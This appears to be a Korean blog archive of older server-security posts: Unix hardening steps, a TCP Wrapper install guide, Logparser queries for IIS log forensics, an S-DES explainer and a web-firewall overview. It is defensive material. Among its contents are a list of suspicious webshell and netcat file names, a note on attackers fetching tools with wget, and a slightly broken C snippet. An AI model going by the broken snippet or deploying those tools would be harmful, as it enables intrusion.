(이 문서를 끝까지 읽어 주시면 서버운영에 많은 도움이 될듯합니다.)
- 문의 사항은 khsheen@inempire.com으로 해 주십시요
설명순서는 PART I 에서 설명을 보충하고 기타 더 필요한 설명을
추가 하겠습니다.
<보안관련및 기본명령>
1.chmod 700변경하기

첨부 명령어
/usr/bin/top (chmod 700 적용)
/usr/bin/find (chmod 700 적용)
/usr/bin/lynx (chmod 700 적용)
/usr/bin/wget(chmod 700 적용)
--> 이두 명령어는 일반적으로 해커들이 해킹툴을 가져올때 자주쓰는
명령어
shell-prompt>lynx --dump 가져올화일이 있는 url 경로
shell-prompt>wget 가져올화일이 있는 url 경로

/usr/bin/gcc(chmod 700 적용) <-- 당연히 막아줘야져.
/usr/bin/c++(chmod 700 적용)
/usr/bin/make(chmod 700 적용)
이 명령어를 막게 되면 일반사용자들이 C언어로 작성된 프로그램을
컴파일하지 못하여 불평을 호소하는 경우가 있다.
이런 경우는 이 명령어를 사용할수 있는 그룹을 설정해 주면 준다.
(일반적으로 wheel이라는 그룹을 많이 사용함, 다른 그룹을 등록해서
사용해도 무관)
* example) find 명령어의 사용자를 제한 할 경우
shell-prompt>grep wheel /etc/group
wheel:x:10:root
/etc/group 화일에 wheel:x:10:root 이분에 wheel이라는 그룹에 user를
추가 한다.(khsheen이라는 user가 있을경우임)
wheel:x:10:root,khsheen
이러면 wheel이라는 그룹에 khsheen 이라는 user가 등록된다.
shell-prompt>ls -la /usr/bin/find
-rwxr-xr-x 1 root root 54544 Feb 3 2000 /usr/bin/find*
shell-prompt>chgrp wheel find
shell-prompt>chmod 755 find
shell-prompt>ls -la /usr/bin/find
-rwxr-x--- 1 root wheel 54544 Feb 3 2000 find*
이런식으로 설정하면 find 명령어는 root와 khsheen만 사용할수 있다.
이 명령어를 su 명령어에도 적용하는 것을 권장함, root로 전환할
유저 (su 명령어 사용자)를 제한 할수 있다.
2.anonymous ftp 막기
특정 user가 ftp 접속후 본인의 Directory 외에 다른 유저의
Directory를 접근 못하게 할 경우
(접근을 해서 read 권한만있어도 그 유저의 설정을 모두볼수있다.)
*proftp를 사용하는 경우
shell-prompt> vi /etc/proftpd.conf
이 화일에 이 한줄을 추가한다.
DefaultRoot ~ member
shell-prompt>/etc/rc.d/init.d/proftpd restart
이러면 본인의 Directory외에 다른 유저의 계정은 접근 불가.
3.telnet 사용막기
telnet을 막는 다는 것은 특히 유저가 많은 경우는 불가능 일인것
같다. (특히 웹호스팅업체) 이런 경우는 ssh(Secure Shell)을
설치해서 사용하는 것을 권장합니다.
6.find 관련 명령어 관련 명령어 사용하기
shell-prompt> find / -nouser (화일에 소유자가 없는 경우의 화일)
일반사용자의 사용 디렉토리에서 ...
화일에 소유자가 없다는것은 의심을 해볼필요가 있다.
shell-prompt> find /home/khsheen -user root
(일반사용자인데 root로 되어 있는 화일도 의심해볼 필요가 있다)
8.해킹이 확실한경우 대처법
a.우선 가장 좋은 방법은 port(랜선)를 제거하는 것이 가장 좋다.
b.그 다음에 설치 되어 있는 해킹툴을 제거한다.
-프로세스 확인
[ 이상한(필요없는) 프로세스 확인해서 설치된 위치 확인후 지우기]
shell-prompt> kill -9 이상한 프로세스 id
그러나 100%제거 한다는 것은 힘들것 같다.
서버를 제 세팅하는 것을 권장한다.
c.중요 data 백업

9.기타 보안에 관련된 내용
a.php , mysql db 지원하는 경우
-일반적으로 php로 mysql에 db에 접속하는 경우 php에서
connect하는 스크립트를 사용하는 화일을 일반적으로 Web상에
공개된 소스에는 화일명이 대부분 connect.inc 를 사용하는데
이것을 웹브라우저에 불러오게 되면 바로 읽혀 져서 mysql db접속
아이디와 패스워드를 알수가 있게된다.
이럴경우는 웹서버의 설정화일(httpd.conf)에
AddType application/x-httpd-php .php .html .php3 .php3 .inc
~~~~~!!
AddType application/x-httpd-php-source .phps
추가하고 웹서버를 제구동한다.
그러면 .inc로 끝나는 화일도 php로 인식하므로 스크립트
노출을 막을수 있다.
또한가지 telnet ftp에 사용시 group을 같게 해주고 각 계정의
root Directory를 퍼미션을 705로 처리해 주면 다른 유저가
다른 사용자의 계정에 들어 갈수가 없다.
만약 755로 한다면 다른 유저에게도 읽을 권한이 생겨서 connect
스크립트를 읽을 수 있어 db접속 아이디/passwd를 얻을수 있다.
b.사용자들의 passwd
- 등록된 user의 passwd를 자주 갱신하게 만든다.
shell-prompt>vi /etc/login.defs
이중 아래의 스크립트를 일정기간 설정해서 사용자들의
passwd를 바꾸게 만든다.
PASS_MAX_DAYS 99999
~~~~~ 일정기간으로 잡아준다.
c.shell 없애기
- 메일계정으로만 사용하는 경우(shell이 필요없는 경우)의
유저가 많다. 특히 웹호스팅 사용자
이런 경우 shell을 주지 않으면 된다.
shell-prompt>vipw
khsheen:x:500:502::/home/gdm:/bin/false
~~~~~~~~~~
khsheen이라는 유저에게 shell을 부여하지 않는다.

- 서버에 등록된 사용자가 많은 경우 사용자가 관리에
신경을 많이 써야 한다. last 명령을 사용하여 자주 telnet으로
접속하는 사용자는 history를 자주 살펴보는 것도 좋다.
shell-prompt> last | grep pts

d.보안패치하기
-서버 보안에서 가장 중요한 것이 패치이다.
서버에 버그가 발표되면 해커도 그것을 접한다고 생각하면 된다.
그래서 서버에 최신 패키지를 설치해야 하며 보안 뉴스를 빨리
접해야 한다. 그중 커널 업테이드등은 중요한다.
* 커널 최신 정보 확인하기
shell-prompt>finger @www.kernel.org
[zeus.kernel.org]
The latest stable version of the Linux kernel is: 2.2.17
~~~~~~
The latest beta version of the Linux kernel is: 2.4.0-test11
The latest prepatch (alpha) version *appears* to be: 2.4.0-test12-pre4

2. 2. 17
| | |
| | -> 몇번의 패치가 있었는지 나타낸다.
| -> 안정화 버전인지 개발화 버전이지를 나타낸다.
| (홀수:개발, 짝수:안정)
-> 획기적인 변화가 있을때 바뀐다

그리고 기타 패키지에 대한 버그는 빨리 접하고 패치를 해야 한다.
http://www.redhat.com/support/errata/index.html (redhat인 경우)
해킹관련 소식 접하기
http://certcc.or.kr/ (한국정보 보호센터)
http://www.hackersnews.org/
http://www.securenews.co.kr/
Posted by 1010
98..Etc/Security2008. 7. 24. 11:49
반응형

TCP Wrapper (source: 카이스트)

 

initAd();


1. What's TCP Wrapper ?
2. Why TCP Wrapper is used ?
3. How does it work?
4. How to install and use TCP Wrapper
5. Reference



 1. What's TCP Wrapper.

 TCP Wrapper 란 현재의 시스템에서 SYSTAT, FINGER, FTP, TELNET, RLOGIN, RSH, EXEC, TFTP,TALK 등의 monitoring를 하고 filtering을 할 수 있게 해주는 것이다 .
 이것은 현재 깔려있는 소프트웨어나 설정화일을 변경시키지 않고 깔 수있는 작은 daemon 프로그램으로 클라이언트 호스트와 요구받은 서비스의 이름은 report를 한다. 그래서 서버나 클라이언트 프로그램의 정보를 변화 시키지 않고 , 처음 connection 을 연결할 때에만 동작하므로 클라이언트나 서버의 application 간의 실제의 데이터 통신에서는 오버헤드가 발생하지 않는다 .

 2. Why TCP Wrapper is used?

 Wrapper는 외부에서 들어오는 호스트를 체크하는 방어의 의미를 가지고 있는 것으로 그 중에 유명한 것이 TCP Wrapper 이다 . 이것은 호스트에 들어오려는 곳의 IP Address 를 체크하여 관리자가 접속을 허용한 호스트 들만을 접속을 하기 때문에 외부로의 크래킹으로부터 방어를 할 수 있다 . 이것은 inetd 라는 daemon( 이것은 뒤에 설명 ) 을 교체하여 IP Address 를 체크하는 모듈을 가지고 있다.
 TCP Wrapper 와 비슷한 기능을 제공하는 보다 보안이 강화된 INETD 버전으로 시간에 따라 서비스를 제한하는 기능을 가진 xinetd 라는 것도 있다 .

 3. How does it work?

 3.1 전형적인 UNIX TCP/IP networking
  거의 모든 TCP/IP protocal application 은 클라이언트 - 서버 모델이 기본이 된다.
  예를 들어 누군가가 telnet command 를 이용해서 호스트로 접속을 했다면 target host는 telnet server  process 를 시작할 것이다 . 그리고 그것은 유저가 로긴할 수 있도록 할 것이다 .

  이런 클라이언트 - 서버 모델의 예들은 다음과 같다.

client

server

application

telnet

telnetd

remote login

ftp

ftpd

file transfer

finger

fingerd

show users

systat

server

application

 Table 1. Examples of TCP/IP client-server pairs and their applications.


 보통 UNIX 시스템에서는 들어오는 모든 종류의 네트웍 커넥션을 기다리는 하나의 daemon 을 띄어서 사용을 하고 이 커넥션이 성립이 되었을 때 ( 보통 흔히 우리가 inetd 란 부르는 ) 이 daemon 이 적당한 서버 프로그램을 실행하게 된다 . 그리고 이 daemon 은 다시 sleep 가 되고 다른 커넥션을 기다리게 된다 .
 즉 ,telnet 의 경우에는
 [user] -- [telnet client] -- (inetd) -- [telnet server] -- [[login]]
 이용자는 telnet 프로그램 (netterm) 을 실행키켜 원하는 장비에 접속을 시도한다 . 이때 서버장비에서는 inetd 가 요청을 받아 inetd.conf 를 살펴본다음 telnetd 프로그램을 실행시킨다 .

 3.2 TCP_Wrapper 를 적용하면

 위의 방법을 이용하게 되면 크래커가 염탐하는 문제가 발생하게 된다 . 이런 문제를 해결하기 위해서는 현재 존재하는 네트웍 소프트웨어들은 바꾸는 것이 필요하다 . 그런 거기에서는 몇개의 문제점들이 존재하게 된다 .
   첫째로 우리는 현재 가지고 있는 시스템들인 Ultrix, SunOS 등의 UNIX 프로그램의 소
             스 라이센스를 가지고 있지 않다 . 그리고 또 우리는 물론 이런 소스들도 가지고 있지 않다 .
   둘째로 버클리 네트웍 소스 ( 대부분의 상업적인 UNIX TCP/IP 프로덕트로 발전되어진) 는 가능하다 .
             그러나 이것을 우리의 환경에 맞게 포팅을 하는 것은 아주 많은 시간이 걸릴 것이다 .

  Figure 1. The inetd daemon process listens on the ftp, telnet etc. network ports and waits for incoming con- nections. The figure shows that a user has connected to the telnet port.
  

 Figure 2. The inetd process has started a telnet server process that connects the user to a login pro- cess. Meanwhile, inetd waits for other incoming con- nections.

 그러나 이런 존재하는 소프트웨어들을 바꾸지 않고 문제를 해결하는 간단한 방법이 존재한다 . 그리고 이 방법은 거의 모든 UNIX 시스템에서 작동을 하기 때문에 간단히 해결할 수
 있다 . 그 방법은 스왑을 만드는 것이다 . 즉 벤더에서 제공하는 네트워크 서버 프로그램을 다른 곳에다 옮기고 원래의 네트워크 서버 프로그램의 자리에 간단한 프로그램을 인스톨하는 것이다 . 그래서 커넥션이 맺여질 때마다 이 간단한 프로그램이 리모트 호스트의 이름을 기록하고 , 확인한 다음에 원래의 네트워크 서버 프로그램을 실행시키는 것이다. 이런 방법을 이용한 것이 TCP Wrapper이다.
 


 Figure 3. The original telnet server program has been moved to some other place, and the tcp wrapper has tak- en its place. The wrapper logs the name of the remote host to a file.



 Figure 4. The tcp wrapper program has started the real telnet server and no longer participates. The user can- not notice any difference.

 아래는 TCP_Wrapper 를 적용한 예를 보여주는 것으로 콘솔에 나타나는 기록이다 . 처음의 약간은 크래커가 접속하려고한 흔적이 보였고 각각의 커넥션은 time stamp, the name of the local host,the name of the requested service (actually, the network server process name), and the name of the remote host 순으로 적혀 있는 것이다 . 이 예는 크래커가 단지 monk.rutgers.edu 와 같은 dial-up terminal server 를 사용했다는 것 뿐만아니라 군사기관 (.MIL) 과 대학 컴퓨터 시스템 (.EDU) 을 침입했다는 것도 보여준다 .
 (ftp://ftp.porcupine.org/pub/security/tcp_wrapper.txt.Z 에서 인용 )

     May 21 14:06:53 tuegate: systatd: connect from monk.rutgers.edu
     May 21 16:08:45 tuegate: systatd: connect from monk.rutgers.edu
     May 21 16:13:58 trf.urc: systatd: connect from monk.rutgers.edu
     May 21 18:38:17 tuegate: systatd: connect from ap1.eeb.ele.tue.nl
     May 21 23:41:12 tuegate: systatd: connect from mcl2.utcs.utoronto.ca
     May 21 23:48:14 tuegate: systatd: connect from monk.rutgers.edu

     May 22 01:08:28 tuegate: systatd: connect from HAWAII-EMH1.PACOM.MIL
     May 22 01:14:46 tuewsd:  fingerd: connect from HAWAII-EMH1.PACOM.MIL
     May 22 01:15:32 tuewso:  fingerd: connect from HAWAII-EMH1.PACOM.MIL
     May 22 01:55:46 tuegate: systatd: connect from monk.rutgers.edu
     May 22 01:58:33 tuegate: systatd: connect from monk.rutgers.edu
     May 22 02:00:14 tuewsd:  fingerd: connect from monk.rutgers.edu
     May 22 02:14:51 tuegate: systatd: connect from RICHARKF-TCACCIS.ARMY.MIL
     May 22 02:19:45 tuewsd:  fingerd: connect from RICHARKF-TCACCIS.ARMY.MIL
     May 22 02:20:24 tuewso:  fingerd: connect from RICHARKF-TCACCIS.ARMY.MIL

     May 22 14:43:29 tuegate: systatd: connect from monk.rutgers.edu
     May 22 15:08:30 tuegate: systatd: connect from monk.rutgers.edu
     May 22 15:09:19 tuewse:  fingerd: connect from monk.rutgers.edu
     May 22 15:14:27 tuegate: telnetd: connect from cumbic.bmb.columbia.edu
     May 22 15:23:06 tuegate: systatd: connect from cumbic.bmb.columbia.edu
     May 22 15:23:56 tuewse:  fingerd: connect from cumbic.bmb.columbia.edu

 여기에서 크래커는 사실상 finger 와 systat 로 시스템을 공격을 한 것이나 마찬가지다 왜냐하면 finger 나 systat 는 시스템에 누가 있는 지를 알수 있게 해주는 것이기 때문이다 . 그 후에 크래커는 telnet 커넥션을 맺으려고 했다 . 아마 추측컨대 single login 시도를 했고 즉시 끊었을 것이다 . 그래서 "repeated login failure" 라 콘솔에 기록되지 않았을 것이다 .

 크래커를 구분하는 방법은 다음과 같이 쉽다 .

 첫째로 대체로 다른 사람들의 활동이 거의 없는 밤에 종종 활동한다 .
 둘째로 자주 연속된 커넥션을 맺는다 . 그런데 커넥션을 맺는 시간에 간격을 띄어서 자산    의 활동을 숨기려고 한다 . 그러나 여러 시스템의 로그를 합침으로써 크래커가 들    어왔었다는 것을 보는 것이 쉽다 .
 셋째로 시스템에 계정이 있는 사람은 누구도 systat service 를 사용하지 않는다 .

이렇게 TCP_Wrapper 를 사용하게 되면 자신이 원하는 호스트들로부터의 접속만을 허용할 뿐아니라 자신의 시스템의 접속을 확인하고 모니터링을 할 수 있게 한다 .

다음의 예는 실제로 syslog를 살펴본 것으로 telnet 과 ftp에 대하여 다음과 같이 각각의 데몬에 대하여 원하는
자신의 원하는 호스트로만의 접속이 이루어지게 되는 것을 볼 수 있다.

Mar  7 23:12:53 major in.telnetd[22706]: connect from kbs06.kaist.ac.kr
Mar  7 23:22:25 major in.telnetd[22761]: connect from taehan.kaist.ac.kr
Mar  8 00:48:52 major in.telnetd[22954]: refused connect from 143.248.175.120

Mar  8 10:09:21 major in.telnetd[23279]: connect from kbs08.kaist.ac.kr
Mar  8 10:41:36 major in.ftpd[23588]: refused connect from gec09.kaist.ac.kr
Mar  8 11:04:21 major in.telnetd[23608]: connect from kbs22.kaist.ac.kr
Mar  8 11:09:49 major in.telnetd[23657]: connect from kbs09.kaist.ac.kr
Mar  8 11:35:47 major in.telnetd[23736]: connect from kbs06.kaist.ac.kr
Mar  8 11:38:09 major in.telnetd[23772]: refused connect from captain


 4. How to install and use TCP_Wrapper

 현재 99 년 1 월의 CERT advisory 를 보면 TCP Wrapper 의 Trojan horse version 이 돌아다닌다는 보고가 있었다 . 아래와 같은 차이가 있으므로 확인을 하고 잘 받기를 바란다.
 자세한 사항은 http://www.cert.org/advisories/CA-99-01-Trojan-TCP-Wrappers.html 에서 확인
 받는 곳 : ftp://ftp.porcupine.org/pub/security/

Correct version:
           tcp_wrappers_7.6.tar.gz
           MD5 = e6fa25f71226d090f34de3f6b122fb5a
           size = 99438
           tcp_wrappers_7.6.tar
           MD5 = 5da85a422a30045a62da165404575d8e
           size = 360448

Trojan Horse version:
           tcp_wrappers_7.6.tar.gz
           MD5 = af7f76fb9960a95a1341c1777b48f1df
           size = 99186

 이 설치법은 정주원님의 허락을 받고기재하는것임을밝힙니다.

                성질급한 사람들을 위한 TCP wrapper 설치법
                =========================================

0. RedHat linux라면 tcp_wrapper가 설치되어 있다. 14단계로 간다.

1. tcp_wrappers_x.x.tar를 ftp에서 받아온다.

2. tar xf tcp_wrappers_x.x.tar 를 실행하여 tar 화일을 푼다.

3. cd tcp_wrappers_x.x 한다.

4. README를 읽는다.
   (경고: Ultrix나 IRIX에 설치하고자 하는 사람은 필히 README 화일과 README.
          IRIX 화일을 읽어 보아야 한다.)

5. uname -a를 실행하여 자신의 시스템이 무엇인지 확인한다.

6. Makefile을 보고 적당한 REAL_DAEMON_DIR을 선택하여 맨 앞의 #를 제거한다.
   (REAL_DAEMON_DIR이란 in.telnetd, in.rlogind와 같은 internet daemon들이
    실재할 위치를 말한다. 여기서 이미 설치되어 있는 directory를 선택하면
    제 11 단계를 빼먹어도 좋으나, 일반적으로 별도의 directory에 보호할
    internet daemon을 설치하는 것을 권장하고 있다.)

7. make를 실행하여 자신의 sys-type code가 있는지 확인한다. 자신의 sys-type
   code가 없으면 README를 자세히 읽고 그대로 따라서 한다.

8. make {sys-type} 을 실행하여 compile한다.
        예) make irix6          (Irix 6.x의 경우)
            make sunos5         (Solaris 2.x의 경우)
            make CC=gcc sunos5  (Solaris 2.x에서 gcc로 compile 하는 경우)

9. 제대로 컴파일 되었으면 superuser가 된 후 tcpd를 적당한 장소에 설치한다.
        예) /usr/ucb/install -o bin -g bin -m 755 tcpd /usr/local/sbin

10. inetd.conf를 보고, 외부 연결로부터 보호할 서비스들을 골라 tcpd가
    보호하도록 수정한다. inetd.conf는 /etc/inetd.conf 혹은
    /etc/inet/inetd.conf에 있다.
        예) finger service의 경우
           finger stream tcp nowait nobody /usr/etc/in.fingerd   in.fingerd
                                                           
           라고 되어있는 것을

           finger stream tcp nowait nobody /usr/local/sbin/tcpd  in.fingerd
                                                           
           로 바꾼다. 단, tcpd의 설치 위치에 따라 달라질 수 있다.

11. REAL_DAEMON_DIR이 실제 internet daemon이 설치된 위치와 다르다면 (6단계
    참조) 보호하고자 하는 service에 해당하는 internet daemon을
    REAL_DAEMON_DIR 로 복사한다. (cp -p option을 쓰는 것이 좋다.)

12. tcpdchk를 실행하여 제대로 고쳤는지 확인한다. (tcpdchk는 compile했던 그
    자리에 있다.) 문제점이 나타나면 9단계부터 다시 살펴본다.

13. ps ax 혹은 ps -ef 를 하여 inetd을 PID를 알아내고 kill -1 inetd.pid를
    수행한다. (IRIX설치자는 README.IRIX 참조) 이것으로 tcp_wrapper의
    설치는 끝났다.

14. /etc/hosts.deny라는 화일을 만들고 그 내용을 ALL:ALL로 함으로서
    모든 호스트의 접근을 금지시킨다.
    (tcpwrapper에 포함되어 있는 safe_finger등으로 좀 더 재미있는 일을
     할 수 있다. 자세한 내용은 README를 참조하라.)

15. /etc/hosts.allow라는 화일을 만들고 그 내용을 {daemon 이름}:{허가할
    호스트 명단} 으로 집어넣어 해당 호스트만 접근하도록 한다.

        예) ALL: myhome.kaist.ac.kr
            in.telnetd: labpc1.kaist.ac.kr,143.248.230.45
            in.pop3d: 143.248.0.0/255.255.0.0

16. 과 기계등을 이용하여 외부 호스트에서 접근 가능한지 시도해 본다.


6. Reference
http://user.chollian.net/~imtino/int/tcp_wrapper.html
http://www.certcc.or.kr/tools/index.html
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.porcupine.org/pub/security/tcp_wrapper.txt.Z
ftp://camis.kaist.ac.kr/pub/security/util/quick_install.ko.txt

참고 :
tcp wrapper 소스에서 clean_exit.c 의 clean_exit() 가 termination function인데
이것을 고쳐서 만약 허락되지 않는 호스트의 접속일 경우에 윈하는 메시지를 보여주고 접속을
끊을 수 있다.

 * 이것은 최재철( poison@inzen.com )님의 아이디어임을 밝힙니다.

void    clean_exit(request)
struct request_info *request;
{

    /*
     * In case of unconnected protocols we must eat up the not-yet received
     * data or inetd will loop.
     */

    if (request->sink)
        request->sink(request->fd);

    /*
     * Be kind to the inetd. We already reported the problem via the syslogd,
     * and there is no need for additional garbage in the logfile.
     */

     */
    denymsg();
 
    sleep(5);
    exit(0);
}

FILE *fp;
void denymsg()
{


        register int fd, nchars;
        int i;
        char tbuf[8192];

        fp = fopen("/dev/stdout", "rw");

        /* 허가되지 않은 호스트의 경우에 보여줄 메시지는 /etc/deny.msg 에 */
        if ((fd = open("/etc/deny.msg", O_RDONLY, 0)) < 0)
                return;
        while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
               (void)write(fileno(stdout), tbuf, nchars);
        (void)close(fd);

}

Posted by 1010
98..Etc/Security2008. 7. 24. 11:48
반응형

Logparser를 이용한 IIS 로그 Forensic 방법

 
Logparser는 MS에서 만든 강력한 IIS, W3C, 이벤트 로그 분석툴로서 SQL 쿼리타입으로 조건별 검색할 수 있는 강력한 툴입니다.

1) 가장 최근에 생성된 시간을 기준으로 ASP 스크립트를 변조한 Trojan Files 여부를 진단

C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, CreationTime FROM C:\inetpub\wwwroot\*.* ORDER BY CreationTime DESC" -rtp:-1 


2). 가장 최근에 수정된 Files 로그 찾기

C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, LastWriteTime FROM C:\inetpub\wwwroot\*.* ORDER BY LastWriteTime DESC" -rtp:-1   
  
3). 해커가 Trojan Files을 삭제한 경우에 HTTP 200 서버코드 흔적 로그를 찾는다.

C:\logparser "SELECT DISTINCT TO_LOWERCASE(cs-uri-stem) AS URL, Count(*) AS Hits FROM ex*.log WHERE sc-status=200 GROUP BY URL ORDER BY URL"    -rtp:-1  
 
* nc.exe, tini.exe, root.exe, cmd.exe, upload.asp, aspexec.asp, cmd.asp 같은 파일 이름이 있으면 의심

4) Script Abuse 분석(가장 많은 Request 요청을 받은 Executable 파일의 확장자 확인)

C:\logparser -i:FS "SELECT TO_LOWERCASE(SUBSTR(Name, LAST_INDEX_OF(Name, '.'),  STRLEN(Name))) AS Extenstion, Count(*) AS Files FROM C:\inetpub \wwwroot\*.*, C:\inetpub\scripts\*.* WHERE Attribute NOT LIKE 'D%' GROUP BY Extenstion ORDER BY Files DESC" -rtp:-1 

* 특히, .ASP, .DLL 파일 요청을 유심히 봐야함

5) HTTP 서버 500 에러코드 검사

C:\logparser "SELECT [cs-uri-stem], [cs-uri-query], Count(*) AS [Hits] FROM c:\logs\web\ex*.log WHERE sc-status = 500 GROUP BY [cs-uri-stem], [cs-uri-query] ORDER BY [hits], [cs-uri-stem] DESC" -rtp:-1 -i:iisw3c
 

6) 가장 많은 Request Hit 수를 높음 ASP, DLL 파일 확인

C:\logparser "SELECT TO_STRING(TO_TIMESTAMP(date, time), 'yyyy-MM-dd') AS Day, cs-uri-stem, Count(*) AS Total ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe') GROUP BY Day, cs-uri-stem ORDER BY cs-uri-stem, Day" -rtp:-1 

7) 시간당 에러수가 가장 많이 발생한 날짜 확인
 
C:\logparser "SELECT date, QUANTIZE(time, 3600) AS hour, sc-status, Count(*) AS Errors FROM ex03*.log WHERE sc-status>=400 GROUP BY date, hour, sc-status HAVING Errors>25 ORDER BY Error DESC" -rtp:-1 

* 25개 이상의 에러코드(404코드)를 발생한 날짜와 시간 결과를 출력

8) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인
 
C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

9) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인

C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

10)  모든 ASP 에러 기록 확인
 
C:\logparser "SELECT cs-uri-query, Count(*) AS Total FROM ex*.log WHERE sc-status>=500 GROUP BY cs-uri-query ORDER BY Total DESC" -rtp:-1 

* 특히, ODBC와 ADO 에러는 SQL Injection 가능성이 있으므로 주의깊게 살펴봐야 함

11) 스크립트 및 Executable 파일의 HTTP 서버 코드 기록 확인
 
C:\logparser "SELECT cs-uri-stem, sc-status, Count(*) AS Total FROM ex*.log WHERE TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%' GROUP BY cs-uri-stem, sc-status ORDER BY cs-uri-stem, sc-status" -rtp:-1 

12) Win32 Status Code 분석을 통한 Attack 확인
 
C:\logparser "SELECT cs-uri-stem, WIN32_ERROR_DESCRIPTION(sc-win32-status) AS Error, Count(*) AS Total FROM ex*.log WHERE sc-win32-status>0 AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, Error ORDER BY cs-uri-stem, Error" -rtp:-1
 

13) HTTP Method 통계 분석
 
C:\logparser "SELECT cs-uri-stem, cs-method, Count(*) AS Total FROM ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, cs-method ORDER BY cs-uri-stem, cs-method" -rtp:-1
Posted by 1010
98..Etc/Security2008. 7. 24. 11:47
반응형

DES ( data encryption standard ) is a symetric encryption.

 This means that the encryption and decryption is done with the same key.

permutations

Permutations are just bit pattern replacements.
Here are the 10 bit permutations.
premutation old pattern new pattern
p10 9876543210 7583609124
p8 9876543210 47362501
p4 3210 2013
ip 76543210 62574031
ip_inv 76543210 47531602
ep 3210 03212103
sw 76543210 32107654

functions

Des has two functions fk and F. These are shown graphically below.

f_k(L,R,SK) = ( L ^ F(R,SK),R )

s-boxes

These are simple two dimensional arrays of values.

We use data at runtime to determine what row and column to get. ex :

 static const uval S0[4][4] = 
{ { 1, 0, 3, 2 }, { 3, 2, 1, 0 }, { 0, 2, 1, 3 }, { 3, 1, 0, 3 } };  

simple DES

I am doing simple DES ( S-DES or 10 bit DES ).

I am working on 8 bit data blocks, with a 10 bit key. ( click on the images for larger versions )

Here is how generating subkeys works.
Here is how encryption works.

Here is how f_k works. The function F,

 is embedded inside this

simple.c simple DES source code

real DES

The above example is S-DES, which is a scaled down version of DES. DES usually has a 56-bit key, and 16 48-bit subkeys are generated. It works on 64-bit input blocks. F acts on 32 bits not 4. The s-boxes are 4 by 16, not 4 by 4 ( using the first and last bit for row ).

The images were created using Graphviz

 

 

 

#include<stdio.h> #include<stdlib.h>  /*    Simple DES    I am implimenting what is called 
Posted by 1010
98..Etc/Security2008. 7. 24. 11:46
반응형

웹 애플리케이션 보안제품은 웹 해킹 및 웜으로부터 핵심적인 웹 애플리케이션을 보호하는 전용 솔루션을 의미한다. 쿠키 변조, 세션 하이재킹, 폼필드 변조, 파라미터 변조와 같은 해킹에 대한 대응력이 뛰어나고 안전한 웹 서비스를 보장하기 위해 나온 웹 방화벽은 기존의 전통적인 방화벽처럼 Positive Security Policy 방식을 채택해 알려지지 않는 웹 공격에도 방어할 수 있도록 설계되어 있다. 여기서는 이미 많이 알려진 웹 공격에 대한 이야기나 웹 공격 방법에 대한 것은 논외로 하고 웹 방화벽에서 어떠한 방법으로 웹 공격 트래픽을 차단하는지에 대해 소개할 것이다.


[그림1] 네트워크 방화벽과 웹 방화벽에서 처리하는 네트워크 프로토콜 구성


웹 애플리케이션 보안 방법론

웹 애플리케이션 보안을 실현하기 위해 '안전하게 웹 애플리케이션을 개발하기 위한 지침서'에 따라 프로그래밍을 한다던지, 이미 개발돼 있는 프로그램의 소스 코드를 들여다 보던지 등 근본적인 해결책이 있지만 실제로는 적용하기가 쉽지 않고 보안 담당 관리자가 채택할 수 있는 방법도 한계가 있다. 이런 문제점의 대안으로 실제 구축되어 실효를 보고 있는 웹 애플리케이션 방화벽의 주요 기술에 대해 알아보도록 하자.

a. 애플리케이션 접근 제어(URL ACL)
웹 방화벽에서 제공하는 대표적인 Positive Security Policy 방식은 애플리케이션 접근 제어 기능이다. 전통적인 Negative Security Policy 모델에서는 취약점이 존재하는 파일의 시그니처 목록을 유지하면서 취약한 파일에 대한 접근을 차단하는 방식을 사용하지만(IDS, IPS), 이 방식은 알려진 취약점에 대해서만 제한적으로 적용할 수 있으며 공격당하기 전에 시그니처에 대한 업데이트가 이루어지지 않으면 무방비 상태가 될 수 있다. 웹 서버에는 서비스 제공자가 서비스를 제공하려는 대상 외에도 웹 서버가 설치될 때 자동으로 설치되는 테스트 애플리케이션이나 관리용 애플리케이션부터 개발 시에 남겨진 임시 파일까지 다양한 자원이 있다. 이러한 모든 자원에 대해 웹서버에 존재하는 모든 소스를 파악하는 것은 불가능하고 서비스에 관계없이 서버에 남겨진 모든 파일에 보안 취약점이 존재한다고 가정하여야 한다. 그래서 웹 방화벽은 직접적으로 서비스를 제공하는 파일만 명시적으로 공개하고 그 외의 모든 접근을 차단하는 Positive 방식을 채택한 것이다.

가장 간단한 접근 제어는 URL ACL로 웹 서버의 모든 자원 중 사용자에게 허용해야할 URL 리스트로 설정된 URL에 대해서만 접근을 허용하는 것이다. 이 허용 URL을 설정하는 것만으로도 의도되지 않은 중요 파일의 노출이나 서비스에 관계없는 취약한 프로그램의 노출을 차단할 수 있다.


[그림2] 허용할 URL과 파일 확장자를 지정하는 설정의 예


기본적인 허용 URL 리스트에 한 세션은 반드시 지정된 URL로부터 브라우징을 해야 한다는 시작 URL(Start URL)의 개념을 추가할 수 있는데, 시작 URL 기능을 설정한 경우 관리자에 의해 지정된 시작 URL(일반적으로 /index.html)에 접근한 적이 없는 사용자는 서버의 다른 어떤 URL에도 접근할 수 없는 기능이다. 이를 통해 웜에 의한 취약점 전파 시도, 취약점 스캐너에 의한 스캐닝 등과 같이 취약한 URL에 직접 접근해오는 강제 브라우징을 차단할 수 있다.

